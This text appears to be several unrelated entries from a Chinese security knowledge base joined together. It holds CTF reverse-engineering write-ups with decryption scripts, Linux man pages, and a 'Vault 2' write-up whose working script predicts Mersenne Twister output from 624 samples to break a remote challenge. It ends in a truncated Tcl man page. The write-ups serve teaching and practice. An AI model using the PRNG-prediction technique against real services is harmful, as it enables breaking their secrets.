[ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
sec-knowleage
# 静态分析综合题目 ## 2017 ISCC Crackone 利用 jadx 进行反编译,可以得到程序的基本逻辑如下 - 对用户输入的内容进行 base64 编码,然后在指定长度位置处插入`\r\n` ,这个似乎并没有什么乱用。 - 之后程序将编码后的内容传递给 so 中的 check 函数。这个函数的逻辑如下 ```c env = a1; len = plen; str = pstr; v7 = malloc(plen); ((*env)->GetByteArrayRegion)(env, str, 0, len, v7); v8 = malloc(len + 1); memset(v8, 0, len + 1); memcpy(v8, v7, len); v9 = 0; for ( i = 0; ; ++i ) { --v9; if ( i >= len / 2 ) break; v11 = v8[i] - 5; v8[i] = v8[len + v9]; v8[len + v9] = v11; } v8[len] = 0; v12 = strcmp(v8, "=0HWYl1SE5UQWFfN?I+PEo.UcshU"); free(v8); free(v7); return v12 <= 0; ``` 不难看出,程序就是直接将 base64 之后的字符串的两半分别进行适当的操作,这里我们很容易写出 python 对应的恢复代码,如下 ```python import base64 def solve(): ans = '=0HWYl1SE5UQWFfN?I+PEo.UcshU' length = len(ans) flag = [0] * length beg = 0 end = length while beg < length / 2: end -= 1 flag[beg] = chr(ord(ans[end]) + 5) flag[end] = ans[beg] beg += 1 flag = ''.join(flag) print base64.b64decode(flag) if __name__ == "__main__": solve() ``` 对应的结果如下 ```shell ➜ 2017ISCC python exp.py flag{ISCCJAVANDKYXX} ``` ## 2017 NJCTF easycrack 通过简单逆向,可以发现程序的基本逻辑如下 1. 监控界面文本框,如果文本框内容改变则调用 native `parseText` 函数。 2. `parseText` 的主要功能如下 1. 首先调用 java 层的函数 messageMe 获取一个字符串 mestr。这个函数的逻辑基本是 1. 依次将 packagename 的最后一个 `.` 后面的字符串的每一个与 51进行异或,将结果拼接起来。 2. 然后以 mestr 长度为周期,将两者进行异或,核心逻辑 `str[i + j] = mestr[j] ^ iinput[i + j];` 3. 继而下面以 `I_am_the_key` 为密钥,使用 RC4 加密对该部分进行加密,然后将结果与最后的 `compare` 比较。这里猜测的依据如下 1. 在 init 函数中有 256 这个关键字,而且基本就是 RC4 密钥的初始化过程。 2. crypt 函数显然就是一个 RC4 加密函数,明显就是 RC4 的加密逻辑。 解密脚本如下 ```python from Crypto.Cipher import ARC4 def messageme(): name = 'easycrack' init = 51 ans = "" for c in name: init = ord(c) ^ init ans += chr(init) return ans def decrypt(cipher,key): plain ="" for i in range(0,len(cipher),len(key)): tmp = cipher[i:i+len(key)] plain +=''.join(chr(ord(tmp[i])^ord(key[i])) for i in range(len(tmp))) return plain def main(): rc4 = ARC4.new('I_am_the_key') cipher = 'C8E4EF0E4DCCA683088134F8635E970EEAD9E277F314869F7EF5198A2AA4' cipher = ''.join(chr(int(cipher[i:i+2], 16)) for i in range(0, len(cipher), 2)) middleplain = rc4.decrypt(cipher) mestr = messageme() print decrypt(middleplain,mestr) if __name__ == '__main__': main() ``` 结果如下 ```shell ➜ 2017NJCTF-easycrack python exp.py It_s_a_easyCrack_for_beginners ➜ 2017NJCTF-easycrack ``` ## 2018 强网杯 picture lock 简单分析之后发现这是一个图片加密程序:java 层为 native 层传入 image/ 下的第一个文件名,以及希望加密后的图片文件名,包括对应的 apk 的签名的 md5。 下面我们就可以分析 native 层代码,由于程序很明显说是一个加密程序,我们可以使用IDA 的 findcrypto 插件来进行识别,结果却是发现了 S 盒,而且基本上就是符合 AES 的加密流程的,所以可以基本确定程序的主体是一个 AES 加密,经过细致分析可以发现 native 层程序的基本流程如下 1. 将传入的签名的 md5 字符串分为两半,生成两组密钥。 2. 每次读入md5sig[i%32]大小的内容 3. 根据读入的大小决定使用哪一组密钥 1. 奇数使用第二组密钥 2. 偶数使用第一组密钥 4. 如果读入的大小不够 16 的话,就将后面填充为不够的大小(比如大小为12时,填充 4 个0x4) 5. 这时修改后的内容必然够16个字节,对前16个字节进行 AES 加密。对于后面的字节,将其与 md5sig[i%32]依次进行异或。 既然知道加密算法后,那就很容易逆了,我们首先可以获取签名的 md5,如下 ```shell ➜ picturelock keytool -list -printcert -jarfile picturelock.apk 签名者 #1: 签名: 所有者: CN=a, OU=b, O=c, L=d, ST=e, C=ff 发布者: CN=a, OU=b, O=c, L=d, ST=e, C=ff 序列号: 5f4e6be1 有效期为 Fri Sep 09 14:32:36 CST 2016 至 Tue Sep 03 14:32:36 CST 2041 证书指纹: MD5: F8:C4:90:56:E4:CC:F9:A1:1E:09:0E:AF:47:1F:41:8D SHA1: 48:E7:04:5E:E6:0D:9D:8A:25:7C:52:75:E3:65:06:09:A5:CC:A1:3E SHA256: BA:12:C1:3F:D6:0E:0D:EF:17:AE:3A:EE:4E:6A:81:67:82:D0:36:7F:F0:2E:37:CC:AD:5D:6E:86:87:0C:8E:38 签名算法名称: SHA256withRSA 主体公共密钥算法: 2048 位 RSA 密钥 版本: 3 扩展: #1: ObjectId: 2.5.29.14 Criticality=false SubjectKeyIdentifier [ KeyIdentifier [ 0000: 71 A3 2A FB D3 F4 A9 A9 2A 74 3F 29 8E 67 8A EA q.*.....*t?).g.. 0010: 3B DD 30 E3 ;.0. ] ] ➜ picturelock md5value=F8:C4:90:56:E4:CC:F9:A1:1E:09:0E:AF:47:1F:41:8D ➜ picturelock echo $md5value | sed 's/://g' | tr '[:upper:]' '[:lower:]' f8c49056e4ccf9a11e090eaf471f418d ``` 继而,我们可以直接使用已有的 AES 库来进行解密 ```python #!/usr/bin/env python import itertools sig = 'f8c49056e4ccf9a11e090eaf471f418d' from Crypto.Cipher import AES def decode_sig(payload): ans = "" for i in range(len(payload)): ans +=chr(ord(payload[i]) ^ ord(sig[(16+i)%32])) return ans def dec_aes(): data = open('flag.jpg.lock', 'rb').read() jpg_data = '' f = open('flag.jpg', 'wb') idx = 0 i = 0 cipher1 = AES.new(sig[:0x10]) cipher2 = AES.new(sig[0x10:]) while idx < len(data): read_len = ord(sig[i % 32]) payload = data[idx:idx+read_len] #print('[+] Read %d bytes' % read_len) print('[+] Totally %d / %d bytes, sig index : %d' % (idx, len(data), i)) if read_len % 2 == 0: f.write(cipher1.decrypt(payload[:0x10])) else: f.write(cipher2.decrypt(payload[:0x10])) f.write(decode_sig(payload[16:])) f.flush() idx += read_len i += 1 print('[+] Decoding done ...') f.close() dec_aes() ``` 最后可以得到一个图片解密后的结果,其中就包含 flag 了。
sec-knowleage
# Trend Micro CTF 2018 Quals Team: nazywam, pwn.m0d3, shalom, sasza, akrasuski1, rodbert ### Table of contents * [Java pwn (misc)](misc_deserializer) * [Ocean of sockets (forensics)](for_ocean) * [Deep dive (forensics)](for_dive) * [Constellation (misc)](misc_constellation) * [RSA (crypto)](crypto_rsa) * [ACME (crypto)](crypto_acme) * [Feistel (crypto)](crypto_feistel) * [Parsletongue (re)](re_parsle)
sec-knowleage
service === 控制系统服务的实用工具 ## 补充说明 **service命令** 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。 ### 语法 ```shell service(选项)(参数) ``` ### 选项 ```shell -h:显示帮助信息; --status-all:显示所服务的状态。 ``` ### 参数 * 服务名:自动要控制的服务名,即`/etc/init.d`目录下的脚本文件名; * 控制命令:系统服务脚本支持的控制命令。 ### 实例 当修改了主机名、ip地址等信息时,经常需要把网络重启使之生效。 ```shell service network status 配置设备: lo eth0 当前的活跃设备: lo eth0 service network restart 正在关闭接口 eth0: [ 确定 ] 关闭环回接口: [ 确定 ] 设置网络参数: [ 确定 ] 弹出环回接口: [ 确定 ] 弹出界面 eth0: [ 确定 ] ``` 重启mysql ```shell service mysqld status mysqld (pid 1638) 正在运行... service mysqld restart 停止 MySQL: [ 确定 ] 启动 MySQL: [ 确定 ] ```
sec-knowleage
sshd === openssh软件套件中的服务器守护进程 ## 补充说明 **sshd命令** 是openssh软件套件中的服务器守护进程。 ### 语法 ```shell sshd(选项) ``` ### 选项 ```shell -4:强制使用IPv4地址; -6:强制使用IPv6地址; -D:以后台守护进程方式运行服务器; -d:调试模式; -e:将错误发送到标准错误设备,而不是将其发送到系统日志; -f:指定服务器的配置文件; -g:指定客户端登录时的过期时间,如果在此期限内,用户没有正确认证,则服务器断开次客户端的连接; -h:指定读取主机key文件; -i:ssh以inetd方式运行; -o:指定ssh的配置选项; -p:静默模式,没有任何信息写入日志; -t:测试模式。 ```
sec-knowleage
# TheTarget * Category: Misc. * 100 Points * Solved by the JCTF Team ## Description > EZ-PZ-LEMON-SQUIZZY A file was attached. ## Solution Let's check the attached file: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget# file TheTarget TheTarget: Extensible storage engine DataBase, version 0x620, checksum 0xbb95e8e9, page size 8192, Windows version 6.3 ``` It's a 75MB [ESE DB](https://en.wikipedia.org/wiki/Extensible_Storage_Engine). We can use [libesedb](https://github.com/libyal/libesedb) to work with it. We just need to download the latest version from github, and call `./configure` and `make` to built it from sources. (On Windows, we can use [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)). First, we can check what are the tables contained within the DB: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget# ./libesedb-20200418/esedbtools/esedbinfo TheTarget | grep "Table: " Table: 1 MSysObjects (2) Table: 2 MSysObjectsShadow (3) Table: 3 MSysObjids (6) Table: 4 MSysLocales (7) Table: 5 datatable (8) Table: 6 hiddentable (185) Table: 7 link_history_table (186) Table: 8 link_table (194) Table: 9 quota_rebuild_progress_table (207) Table: 10 quota_table (208) Table: 11 sdpropcounttable (209) Table: 12 sdproptable (210) Table: 13 sd_table (214) ``` `datatable` sounds the most interesting, so let's dump it: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget# ./libesedb-20200418/esedbtools/esedbexport -T datatable TheTarget esedbexport 20200418 Opening file. Database type: Unknown. Exporting table 5 (datatable). Export completed. ``` Now we just search for the flag format: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget/TheTarget.export# sed 's/\x09/\x00/g' datatable.4 | strings | egrep -i "BSidesTLV(2020)?{" BSIDESTLV2020{ThisGoesDeeper} ``` (Note: For some reason, the export uses `0x09` as a filler character, we replace it with `0x00` for convenience).
sec-knowleage
请添加自己的昵称或真实姓名到列表中,亦可附上联系方式: - Arlin - DeanGame - G-Food - JACK.L - Peter Pearce Lu - wuten - SuperSoccer - SunnyAndroid - Sunnyelf - Firefox2100 - y159357 - Loutine - JonnieWayy
sec-knowleage
# The Vault 2 Category: Pwn, 350 Points ## Description > nc challenges.ctfd.io 30441 ## Solution This is the follow-up challenge for [The Vault 1](The_Vault_1.md). Let's connect to the attached service: ```console root@kali:~# nc challenges.ctfd.io 30441 _____ _ __ __ _ _ ____ |_ _|| |__ ___ \ \ / / __ _ _ _ | || |_ |___ \ | | | '_ \ / _ \ \ \ / / / _` || | | || || __| _____ __) | | | | | | || __/ \ V / | (_| || |_| || || |_ |_____| / __/ |_| |_| |_| \___| \_/ \__,_| \__,_||_| \__| |_____| ____ ____ ____ ____ ____ ____ ____ ||A ||||B ||||C ||||D ||||E ||||F ||||G || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| ____ ____ ____ ____ ____ ____ ____ ||H ||||I ||||J ||||K ||||L ||||M ||||N || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| ____ ____ ____ ____ ____ ____ ____ ||O ||||P ||||Q ||||R ||||S ||||T ||||U || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| ____ ____ ____ ____ ____ ____ ____ ||* ||||V ||||W ||||X ||||Y ||||Z ||||# || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| Welcome Agent, we need your help to open a Secure Vault. This time, More Twisted Vault !!! We managed to intercept some of the encryption method of the vault. Be aware, You have one time chance to submit the password Good luck !!! *************** Main Menu *************** * * * [ 1 ] ---- Encrypt a Letter * * [ 2 ] ---- Print Encrypted Password * * [ 3 ] ---- Submit Password * * [-1 ] ---- Quit * * * ***************************************** ``` Using this UI, we can encrypt letters: ```console Enter input: 1 Please enter a letter to encrypt A Your encrypted letter is: K Based on: 2317227390 Enter input: 1 Please enter a letter to encrypt A Your encrypted letter is: N Based on: 712378095 Enter input: 1 Please enter a letter to encrypt A Your encrypted letter is: V Based on: 2480001805 Enter input: 1 Please enter a letter to encrypt B Your encrypted letter is: S Based on: 459486525 Enter input: 1 Please enter a letter to encrypt B Your encrypted letter is: C Based on: 4235487127 ``` We can see that encrypting the same letter a few times results in different outputs (and a different base). Also, it looks like the program accepts only uppercase letters: ```console *************** Main Menu *************** * * * [ 1 ] ---- Encrypt a Letter * * [ 2 ] ---- Print Encrypted Password * * [ 3 ] ---- Submit Password * * [-1 ] ---- Quit * * * ***************************************** Enter input: 1 Please enter a letter to encrypt a You can only encrpyt one uppercase letter ``` To try and reverse engineer the encryption scheme let's try to concentrate on the cases where a specific letter gets encrypted to a the same output. For example, let's examine the cases where `A` gets encrypted to `G`: ```console root@kali:/media/sf_CTFs/matrix/The_Vault_2/data# python3 -c "print ('1\nA\n'*100 + '-1\n')" | nc challenges.ctfd.io 30441 | grep "Your encrypted letter is: G" -A 1 | grep "Based" | awk '{ print $3 }' 456372130 3593762906 2164999076 4183105010 540713530 ``` Here we extract the bases for the cases where `A` was encrypted to `G` out of 100 attempts. Now, the most trivial way to arrive from such large values to something in the neighborhood is to apply the modulus operator. First thing that comes to mind it to use `value % 26`: ```python >>> for x in [456372130, 3593762906, 2164999076, 4183105010, 540713530]: ... print(x % 26, end=', ') ... 6, 6, 6, 6, 6, ``` We can see that all the original values have the same `mod 26` value. It's unlikely that this is by chance. Furthermore, `A` and `G` are 6 letters apart. Let's try another example: ```console root@kali:/media/sf_CTFs/matrix/The_Vault_2# python3 -c "print ('1\nZ\n'*100 + '-1\n')" | nc challenges.ctfd.io 30441 | grep "Your encrypted letter is: B" -A 1 | grep "Based" | awk '{ print $3 }' 3630989832 3731559756 1427472802 2765159282 3826572700 3456151740 1720386592 ``` Here we are testing when `Z` gets encrypted to `B`. Again, let's apply modulus: ```python >>> for x in [3630989832, 3731559756, 1427472802, 2765159282, 3826572700, 3456151740, 1720386592]: ... print(x % 26, end=', ') ... 2, 2, 2, 2, 2, 2, 2, ``` We can see that the same behavior is presented. Furthermore, `Z` and `B` are two letters apart in ROT ciphers, so this is starting to look like a ROT cipher based on `value % 26`: ```python >>> def rot_alpha(n): ... from string import ascii_uppercase as uc ... lookup = str.maketrans(uc, uc[n:] + uc[:n]) ... return lambda s: s.translate(lookup) >>> rot_alpha(6)('A') 'G' >>> rot_alpha(2)('Z') 'B' ``` To reverse the encryption, we just need to apply the reverse modulus: ```python >>> rot_alpha(26 - 6)('G') 'A' >>> rot_alpha(26 - 2)('B') 'Z' ``` So now we know how to encrypt and decrypt given a base. Let's see what option #2 of the UI gives us: ```console root@kali:/media/sf_CTFs/matrix/The_Vault_2# nc challenges.ctfd.io 30441 _____ _ __ __ _ _ ____ |_ _|| |__ ___ \ \ / / __ _ _ _ | || |_ |___ \ | | | '_ \ / _ \ \ \ / / / _` || | | || || __| _____ __) | | | | | | || __/ \ V / | (_| || |_| || || |_ |_____| / __/ |_| |_| |_| \___| \_/ \__,_| \__,_||_| \__| |_____| ____ ____ ____ ____ ____ ____ ____ ||A ||||B ||||C ||||D ||||E ||||F ||||G || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| ____ ____ ____ ____ ____ ____ ____ ||H ||||I ||||J ||||K ||||L ||||M ||||N || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| ____ ____ ____ ____ ____ ____ ____ ||O ||||P ||||Q ||||R ||||S ||||T ||||U || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| ____ ____ ____ ____ ____ ____ ____ ||* ||||V ||||W ||||X ||||Y ||||Z ||||# || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| Welcome Agent, we need your help to open a Secure Vault. This time, More Twisted Vault !!! We managed to intercept some of the encryption method of the vault. Be aware, You have one time chance to submit the password Good luck !!! *************** Main Menu *************** * * * [ 1 ] ---- Encrypt a Letter * * [ 2 ] ---- Print Encrypted Password * * [ 3 ] ---- Submit Password * * [-1 ] ---- Quit * * * ***************************************** Enter input: 2 Encrypted password: YAENPARCRZCGPUATSPKNOSSGXNGFPGNNWITZBGKIKCHLDPLOMUXY Enter input: -1 bye bye :) ``` We know how to decrypt letters given a base, but where's the base? This is the catch - we need to predict it. As we saw in the previous challenge, the algorithm used in Python's `getrandbits` is MersenneTwister, which isn't cryptographically secure: > [The algorithm] Is not cryptographically secure, unless the CryptMT variant is used. The reason is that observing a sufficient number of iterations (624 in the case of MT19937, since this is the size of the state vector from which future iterations are produced) allows one to predict all future iterations. (Source: [Wikipedia](https://en.wikipedia.org/wiki/Mersenne_Twister)) Assuming that the encryption is based on random numbers generated using MersenneTwister, we can use the encryption API to receive an infinite number of samples which will allow us to predict all future results of the algorithm. We can use [this predictor](https://github.com/kmyk/mersenne-twister-predictor) to predict the upcoming random numbers, given 624 samples from the program. The code: ```python from pwn import * from enum import Enum from mt19937predictor import MT19937Predictor NUM_SAMPLES = 624 class MenuChoice(Enum): ENCRYPT_LETTER = 1 PRINT_ENCRYPTED_PASSWORD = 2 SUBMIT_PASSWORD = 3 QUIT = -1 def encrypt_letter_multiple_times(letter, times): r.sendafter("***********************************\n\n", f"{MenuChoice.ENCRYPT_LETTER.value}\n{letter}\n" * times) # https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ def rot_alpha(n): from string import ascii_uppercase as uc lookup = str.maketrans(uc, uc[n:] + uc[:n]) return lambda s: s.translate(lookup) predictor = MT19937Predictor() r = remote("challenges.ctfd.io", 30441) encrypt_letter_multiple_times('A', NUM_SAMPLES) for i in range(NUM_SAMPLES): r.recvuntil("Based on:") base = int(r.recvlineS(keepends = False).strip()) predictor.setrandbits(base, 32) log.info(f"Received samples for {NUM_SAMPLES} random numbers") r.sendline(str(MenuChoice.PRINT_ENCRYPTED_PASSWORD.value)) r.recvuntil("Encrypted password:") encrypted_password = r.recvlineS(keepends = False).strip() log.info(f"Encrypted password: '{encrypted_password}'") password = "" for c in encrypted_password: password += rot_alpha(26 - (predictor.getrandbits(32) % 26))(c) log.info(f"Decrypted password: '{password}'") r.sendlineafter("Enter input:\n", str(MenuChoice.SUBMIT_PASSWORD.value)) r.sendlineafter("Please submit the password\n", password) print(r.recvallS()) ``` The output: ```console root@kali:/media/sf_CTFs/matrix/The_Vault_2# python3 solve.py [+] Opening connection to challenges.ctfd.io on port 30441: Done [*] Received samples for 624 random numbers [*] Encrypted password: 'HTRGOPGIJREHUPEOXESASINIHVKTLRCCUEQQWQUFIZRPROKHYCFT' [*] Decrypted password: 'SEEMSLIKEYOUUNTWISTEDTHEMERSENNETWISTERPRNGALGOIRTHM' [+] Receiving all data: Done (59B) [*] Closed connection to challenges.ctfd.io port 30441 Congrats !!! MCL{M3rSenne_Tw1s7er_1s_STi11_Prn9_4ft3r_A11} ```
sec-knowleage
'\" '\" Copyright (c) 1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" RCS: @(#) $Id: resource.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: resource.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH resource 3tcl 8.0 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME resource \- 操纵 Macintosh 资源 .SH "总览 SYNOPSIS" \fBresource \fIoption\fR ?\fIarg arg ...\fR? .BE .SH "描述 DESCRIPTION" .PP \fBresource\fR 命令为处理 Macintosh 资源提供了一些一般操作。只在Macintosh 平台上支持这个命令。每个 Macintosh 文件由两个 \fBfork\fR组成: 一个数据 fork 和一个资源 fork。你可以使用通常的open、puts、 close 等命令来操纵数据 fork。但是要与资源 fork 交互你必须使用这个命令。\fIOption\fR 指示完成什么资源命令。可以接受 \fIoption\fR 的一个唯一的缩写。有效的选项有: .TP \fBresource close \fIrsrcRef\fR 关闭给定的资源引用(获取自 \fBresource open\fR)。来自这个资源文件的资源将不再可获得。 .TP \fBresource delete\fR ?\fIoptions\fR? \fIresourceType\fR 这个命令将删除用 \fIoptions\fR 和类型 \fIresourceType\fR (参见下面的RESOURCE TYPES 资源类型) 指定的资源。下列选项给出指定要删除资源的一些方式。 .RS .TP \fB\-id\fR \fIresourceId\fR 如果给出了 \fB-id\fR 选项,则使用 id \fIresourceId\fR (参见下面的RESOURCE IDS 资源ID)指定要被删除的资源。id 必须是一个数 - 要指定一个名字请使用 \fB-name\fR 选项。 .TP \fB\-name\fR \fIresourceName\fR 如果指定了 \fB-name\fR,则删除叫做 \fIresourceName\fR 的资源。如果还提供了 \fB-id\fR,则要删除的资源必须有这个名字和这个 id 二者。如果未提供名字,则使用 id 而不管实际资源的名字。 .TP \fB\-file\fR \fIresourceRef\fR 如果指定了 \fB-file\fR 选项,则从 \fIresourceRef\fR 所指向的文件中删除资源。否则删除在资源文件路径上找到的有给定的 \fIresourceName\fR 和/或 \fIresourceId\fR 的第一个资源。要检查文件路径,应使用 \fIresource files\fR 命令。 .RE .TP \fBresource files ?\fIresourceRef\fR? 如果未提供 \fIresourceRef\fR,这个命令返回所有当前打开的资源文件的资源引用的一个 Tcl 列表。这个列表按 Macintosh 通常查找资源的次序来排序。如果指定了 \fIresourceRef\fR,这个命令将返回到那个记号表示的资源 fork 所在的文件的路径。 .TP \fBresource list \fIresourceType\fR ?\fIresourceRef\fR? 列出所有的类型 \fIresourceType\fR 的 id(参见下面的 RESOURCE TYPES 资源类型)。如果指定了\fIresourceRef\fR ,则这个命令把查找限制为这个特定的资源文件。否则,查找应用当前当前打开的所有资源文件。返回找到的资源的要么是资源名字要么是资源id 的一个 Tcl 列表。关于资源 id 的详情请参见下面的 RESOURCE IDS 资源 ID。 .TP \fBresource open \fIfileName\fR ?\fIaccess\fR? 打开文件 \fIfileName \fR的中资源。还可以指定标准文件访问权限(详情参见 \fBopen\fR 手册条目)。它返回可被其他资源命令使用的一个资源引用(\fIresourceRef\fR)。如果文件不存在或文件没有资源 fork 则产生一个错误。但是,如果你打开文件时加上了写权限,则建立这个文件和/或资源 fork 而不生成一个错误。 .TP \fBresource read \fIresourceType\fR \fIresourceId\fR ?\fIresourceRef\fR? 把类型是 \fIresourceType\fR (参见下面的 RESOURCE TYPES资源类型)并且名字或 id 是 \fIresourceId\fR 的全部资源(参见下面的 RESOURCE IDS 资源 ID)读到内存中并返回这个结果。如果指定了 \fIresourceRef\fR ,则这个命令把我们的查找限制为这个特定的资源文件,否则我们查找在应用中所有打开的资源。要注意:多数 Macintosh 资源使用二进制格式,并且从这个命令返回的数据可能包含嵌入的 NULL 或其他非 ASCII 数据。 .TP \fBresource types ?\fIresourceRef\fR? 这个命令返回在 \fIresourceRef \fR所指向的资源文件中找到的所有资源类型(参见下面的 RESOURCE TYPES资源类型)的一个Tcl 列表。如果未指定 \fIresourceRef\fR ,则它返回在应用当前打开的所有资源文件中找到的所有资源类型。 .TP \fBresource write\fR ?\fIoptions\fR? \fIresourceType\fR \fIdata\fR 这个命令把在 \fIdata\fR 中传递进来的数据写为类型是 \fIresourceType\fR (参见下面的 RESOURCE TYPES资源类型)的一个新资源。可获得许多描述资源存储在那里和如何存储的选项。 .RS .TP \fB\-id\fR \fIresourceId\fR 如果给出了 \fB-id\fR 选项,则为新资源使用 id \fIresourceId\fR ( 参见下面的SOURCE TYPES资源类型),否则生成一个与任何现存的资源不冲突的一个唯一的 id。但是,id 必须是一个数 - 要指定一个名字请使用 \fB-name\fR 选项。 .TP \fB\-name\fR \fIresourceName\fR 如果指定了 \fB-name\fR,则这个资源将叫做 \fIresourceName\fR,否则它将以空串作为名字。 .TP \fB\-file\fR \fIresourceRef\fR 如果指定了 \fB-file\fR 选项,则把资源被写入 \fIresourceRef \fR所指向的文件中,否则使用最新近打开的资源。 .TP \fB\-force\fR 如果目标资源已经存在,则 Tcl 